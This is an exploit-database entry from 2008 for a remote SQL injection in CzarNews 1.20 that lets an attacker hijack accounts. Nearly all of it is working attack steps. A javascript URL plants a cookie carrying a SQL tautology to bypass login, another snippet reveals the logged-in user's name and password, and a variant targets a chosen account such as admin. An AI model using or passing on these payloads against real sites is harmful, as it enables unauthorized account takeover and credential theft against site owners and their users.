CzarNews <= 1.20 (Account Hijacking) Remote SQL Injection Vuln

2008-09-15T00:00:00
ID 1337DAY-ID-3673
Type zdt
Reporter 0ut0fbound
Modified 2008-09-15T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ==============================================================
CzarNews <= 1.20 (Account Hijacking) Remote SQL Injection Vuln
==============================================================



czarNews Account Hijacking <= 1.20 user and password Leak
----------------------------------------------------------

 Author: Maycon Maia Vitali ( 0ut0fBound )

Gerenal Xploit:
---------------

1) Go to some page with CzarNews 1.20. You are in the 'Login Page'
2) Put in the URL: javascript:document.cookie="recook=' or ''=',' or
''='";void(0);
3) Refresh the page. Now you are logged in.
4) Put in the URL:
javascript:c=document.cookie;p=c.substr(c.lastIndexOf('=')+1).split(/%../);a
lert("Login: " + p[0] + "\nPass: " + p[1]);void(0);
5) With this you getted the current user and password

Attacking Especific User:
-------------------------

If you have some user that you need Xploit, You can change the step 2 by
this:

2) Put in the URL:
javascript:document.cookie="recook=[USER],'+or+''='";void(0);

Where [USER] need to be replaced with user name (e.g. admin)


enjoy,
0ut0fBound



#  0day.today [2018-01-11]  #